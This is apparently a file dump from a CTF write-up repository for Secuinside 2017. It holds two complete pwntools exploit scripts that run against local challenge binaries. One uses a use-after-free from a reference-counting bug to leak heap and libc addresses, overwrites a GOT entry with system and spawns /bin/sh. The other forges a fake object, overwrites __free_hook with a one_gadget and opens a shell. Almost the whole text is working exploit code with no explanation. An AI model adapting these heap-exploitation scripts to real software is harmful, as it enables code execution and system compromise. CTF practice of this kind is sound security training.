1: # user 61 | r.send("9\n") 62 | print r.recvuntil(">") 63 | else: # composer 64 | r.send("5\n") 65 | print r.recvuntil(">") 66 | 67 | def createVeryBox(boxName): 68 | r.send("1\n") 69 | print r.recvuntil("Box Name :") 70 | r.send(boxName+"\n") 71 | print r.recvuntil(">") 72 | 73 | def deleteVeryBox(boxIndex): 74 | r.send("2\n") 75 | print r.recvuntil("Index :") 76 | r.send(str(boxIndex)+"\n") 77 | print r.recvuntil(">") 78 | 79 | def buyMusic(index): 80 | r.send("3\n") 81 | print r.recvuntil("Index :") 82 | r.send(str(index)+"\n") 83 | print r.recvuntil(">") 84 | 85 | def putMusicBox(boxIndex, musicIndex): 86 | r.send("4\n") 87 | print r.recvuntil("box :") 88 | r.send(str(boxIndex)+"\n") 89 | print r.recvuntil("box? > ") 90 | r.send(str(musicIndex)+"\n") 91 | print r.recvuntil(">") 92 | 93 | def moveBox2Box(destIdx, srcIdx, x, y): 94 | r.send("5\n") 95 | print r.recvuntil("index :") 96 | r.send(str(destIdx)+"\n") 97 | print r.recvuntil("index :") 98 | r.send(str(srcIdx)+"\n") 99 | print r.recvuntil("x :") 100 | r.send(str(x)+"\n") 101 | print r.recvuntil("y :") 102 | r.send(str(y)+"\n") 103 | print r.recvuntil(">") 104 | 105 | def deleteMusicU(musicIndex): 106 | r.send("8\n") 107 | print r.recvuntil("Index :") 108 | r.send(str(musicIndex)+"\n") 109 | print r.recvuntil(">") 110 | 111 | print r.recvuntil(">") 112 | 113 | register(1, "mathboy", "mathboy", "mathboy") 114 | register(2, "mitsuha", "mitsuha", "mitsuha", "A"*0x40) 115 | 116 | login("mitsuha", "mitsuha") # composer now! 117 | writeMusic("music1", "music1 hello") 118 | writeMusic("sex", "sex") 119 | logOut(2) # composer logout 120 | 121 | register(2, "sexma", "sex", "sex", "B"*0x40) # for attack 122 | login("sexma", "sex") # write for attackvec 123 | writeMusic("aaaaaaaa", "b"*0x39) # write for attackvec, music idx=2 124 | logOut(2) 125 | 126 | login("mathboy", "mathboy") # user now! 127 | createVeryBox("myBox") 128 | buyMusic(0) 129 | putMusicBox(0, 0) # go music0 to box 0. 130 | deleteMusicU(0) 131 | logOut(1) # user logout 132 | 133 | login("mitsuha", "mitsuha") 134 | deleteMusic(0) 135 | logOut(2) 136 | 137 | login("mathboy", "mathboy") # user again! 138 | moveBox2Box(0, 0, 0, 0) # 0, 0 -> 0, 0, reference counting bug occured. 139 | 140 | createVeryBox(p64(0x607340)+"\n") 141 | 142 | r.send("6\n") 143 | 144 | print r.recvuntil("--\n0. ") 145 | recved = r.recvuntil("\n")[:-1] 146 | recved += "\x00"*(8-len(recved)) 147 | heap = u64(recved) 148 | 149 | print r.recvuntil(">") 150 | 151 | print "heap addr: " + hex(heap) 152 | 153 | createVeryBox("sexMaster") # second box 154 | 155 | buyMusic(1) 156 | putMusicBox(2, 0) # go music1 to box 2 157 | deleteMusicU(0) 158 | logOut(1) 159 | 160 | login("mitsuha", "mitsuha") 161 | deleteMusic(1) 162 | logOut(2) 163 | 164 | login("mathboy", "mathboy") 165 | moveBox2Box(2, 2, 0, 0) 166 | logOut(1) # logout User 167 | 168 | login("mitsuha", "mitsuha") 169 | editProfile(p64(heap+0x350)+p64(0x0)+"A"*8+p64(heap-0x270)) 170 | logOut(2) # logout Composer 171 | 172 | register(1, p64(heap+0xc0), "P"*0x40, "Q"*0x40) 173 | 174 | login("sexma", "sex") # login for attack 175 | editProfile("B"*0x30+p64(0x0)+p64(0x71)) 176 | editMusic(2, p64(0x0)+p64(0x21)+"b"*0x20+p64(0x0)+"\x21") 177 | logOut(2) 178 | 179 | login("mathboy", "mathboy") 180 | deleteVeryBox(2) 181 | logOut(1) # logout User 182 | 183 | register(2, "payload", "payload", "payload", "A"*0x60) # overlapped! 184 | login("payload", "payload") 185 | 186 | payload = p64(0x0) + p64(0x31) 187 | payload += p64(heap+0x3b0) 188 | payload += p64(0x605030) 189 | 190 | editProfile(payload) 191 | logOut(2) 192 | 193 | login("mathboy", "mathboy") 194 | buyMusic(2) 195 | 196 | r.send("7\n") 197 | print r.recvuntil("Lyrics : ") 198 | 199 | recved = r.recv(6) 200 | libc = u64(recved+"\x00\x00") 201 | libc_base = libc - 0x66bf10 202 | system = libc_base + 0x45390 203 | 204 | print r.recvuntil(">") 205 | 206 | print "libc: " + hex(libc) 207 | 208 | logOut(1) 209 | 210 | login("sexma", "sex") # to edit 211 | editMusic(2, p64(system)[:6]) # got overwrite! 212 | logOut(2) 213 | 214 | login("mathboy", "mathboy") 215 | 216 | createVeryBox("/bin/sh") 217 | 218 | r.send("2\n") 219 | print r.recvuntil("Index :") 220 | r.send("2\n") # trigger system("/bin/sh")! 221 | 222 | r.interactive() 223 | -------------------------------------------------------------------------------- /secuinside-2017/Very Very Very/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /secuinside-2017/Very Very Very/vvv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/secuinside-2017/Very Very Very/vvv -------------------------------------------------------------------------------- /secuinside-2017/Very Very Very/vvv.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./vvv") 4 | 5 | def CreateNativeArray(length): 6 | r.send("\x20") 7 | r.send(p32(0x10001000)) 8 | r.send("\x17") 9 | r.send(p64(length)) 10 | print r.recvuntil("]") 11 | 12 | def CreateNativeIntArray(length): 13 | r.send("\x20") 14 | r.send(p32(0x10001000)) 15 | r.send("\x20") 16 | r.send(p64(length)) 17 | print r.recvuntil("]") 18 | 19 | def CreateString(string): 20 | r.send("\x20") 21 | r.send(p32(0x20002000)) 22 | r.sendline(string) 23 | 24 | def SetIntBox(val): 25 | r.send("\x20") 26 | r.send(p32(val)) 27 | print r.recvuntil("]") 28 | 29 | def CreateBigNumber(val): 30 | r.send("\x20") 31 | r.send(p32(val)) 32 | print r.recvuntil("]") 33 | 34 | def Box2IntBox(idx, arrIdx): 35 | r.send("\x17") 36 | r.send("\x11") 37 | r.send(p64(idx)) 38 | r.send(p64(arrIdx)) 39 | 40 | def IntBox2Box(boxIdx, IntBoxIdx, boxArrIdx): 41 | r.send("\x17") 42 | r.send("\x13") 43 | r.send(p64(boxIdx)) 44 | r.send(p64(IntBoxIdx)) 45 | r.send(p64(boxArrIdx)) 46 | 47 | def PrintBox(boxIdx): 48 | r.send("\x17") 49 | r.send("\x22") 50 | r.send(p64(boxIdx)) 51 | print r.recv(1024) 52 | 53 | def ArrayConcat(dest, src): 54 | r.send("\x17") 55 | r.send("\x33") 56 | r.send(p64(dest)) 57 | r.send(p64(src)) 58 | 59 | def BigNumberOperation(destIdx, srcIdx, opType): 60 | r.send("\x17") 61 | r.send("\x77") 62 | r.send(p64(destIdx)) 63 | r.send(p64(srcIdx)) 64 | sleep(0.2) 65 | r.send(chr(opType)) 66 | 67 | CreateString("asdf") # Box 0 68 | CreateBigNumber(0x90000000) # Box 1 69 | 70 | BigNumberOperation(1, 0, 1) # 0x90000000 += &"asdf" 71 | PrintBox(1) # Leak heap addr 72 | 73 | r.recvuntil("[") 74 | 75 | heap = int(r.recvuntil("]")[:-1]) - 0x90000000 76 | print "heap: " + hex(heap) 77 | 78 | state = heap - 0x11e0 79 | 80 | CreateNativeArray(5) # Box 2 81 | CreateNativeIntArray(6) # Box 3 82 | 83 | SetIntBox((state-0x10) & 0xffffffff) # IntBox 0 84 | SetIntBox((state-0x10) >> 32) # IntBox 1 85 | 86 | print "state: " + hex(state) 87 | 88 | IntBox2Box(3, 0, 1) # Box3[1-1] = IntBox[0] 89 | IntBox2Box(3, 1, 2) # Box3[2-1] = IntBox[1] 90 | 91 | ArrayConcat(2, 3) # Box 4 92 | 93 | Box2IntBox(4, 1) # Box4[1-1] 94 | 95 | CreateBigNumber(0x90000000) # Box 6 96 | 97 | BigNumberOperation(6, 5, 1) # 0x90000000 += state.vtbl 98 | PrintBox(6) # Leak binary address 99 | 100 | r.recvuntil("[") 101 | 102 | binary = int(r.recvuntil("]")[:-1]) - 0x90000000 - 0x203ba8 103 | free_got = binary + 0x204020 104 | 105 | print "free_got: " + hex(free_got) 106 | 107 | CreateNativeArray(5) # Box 7 108 | CreateNativeIntArray(6) # Box 8 109 | 110 | SetIntBox((free_got-0x10) & 0xffffffff) # IntBox 2 111 | SetIntBox((free_got-0x10) >> 32) # IntBox 3 112 | 113 | IntBox2Box(8, 2, 1) # Box8[1-1] = IntBox[2] 114 | IntBox2Box(8, 3, 2) # Box8[2-1] = IntBox[1] 115 | 116 | ArrayConcat(7, 8) # Box 9 117 | 118 | CreateBigNumber(0x90000000) # Box 10 119 | Box2IntBox(9, 1) # Box9[1-1], Box 11 120 | 121 | CreateBigNumber(0x90000000) # Box 12 122 | 123 | BigNumberOperation(12, 11, 1) # 0x90000000 += free_got 124 | PrintBox(12) # Leak libc address 125 | 126 | r.recvuntil("[") 127 | 128 | libc = int(r.recvuntil("]")[:-1]) - 0x90000000 129 | libc_base = libc - 0x959988 130 | free_hook = libc_base + 0x3c67a8 131 | one_gadget = libc_base + 0xf1147 132 | 133 | print "libc_base: " + hex(libc_base) 134 | 135 | fake = "\x00\x00" 136 | fake += p64(binary + 0x203bf8) # NativeIntArray vtable 137 | fake += p32(0x10001000) 138 | fake += p32(0x1) 139 | fake += p64(0x7) 140 | fake += p64(0x7) 141 | fake += p64(free_hook) 142 | fake += "\x00\x00" 143 | 144 | for i in range(0, len(fake), 4): 145 | r.send("\x20") 146 | r.send(fake[i:i+4]) 147 | rv = r.recvuntil("]") 148 | if (i == len(fake)-4) and "14" in rv: 149 | print "Success!" # Create fake object 150 | # Until every 4byte < 0x80000000 151 | print rv 152 | sleep(0.2) 153 | 154 | fake_addr = state + 0x101a 155 | 156 | CreateNativeArray(5) # Box 13 157 | CreateNativeIntArray(6) # Box 14 158 | 159 | SetIntBox((fake_addr) & 0xffffffff) # IntBox 15 160 | SetIntBox((fake_addr) >> 32) # IntBox 16 161 | 162 | IntBox2Box(14, 15, 1) # Box14[1-1] = IntBox[15] 163 | IntBox2Box(14, 16, 2) # Box14[2-1] = IntBox[16] 164 | 165 | ArrayConcat(13, 14) # Box 15 166 | 167 | Box2IntBox(15, 1) # Box15[1-1], Box 16 168 | 169 | SetIntBox((one_gadget) & 0xffffffff) # IntBox 17 170 | SetIntBox((one_gadget) >> 32) # IntBox 18 171 | 172 | IntBox2Box(16, 17, 1) # free_hook = one_gadget 173 | IntBox2Box(16, 18, 2) 174 | 175 | raw_input("Spawn shell :)") 176 | r.send("\x00") 177 | 178 | r.interactive() 179 | --------------------------------------------------------------------------------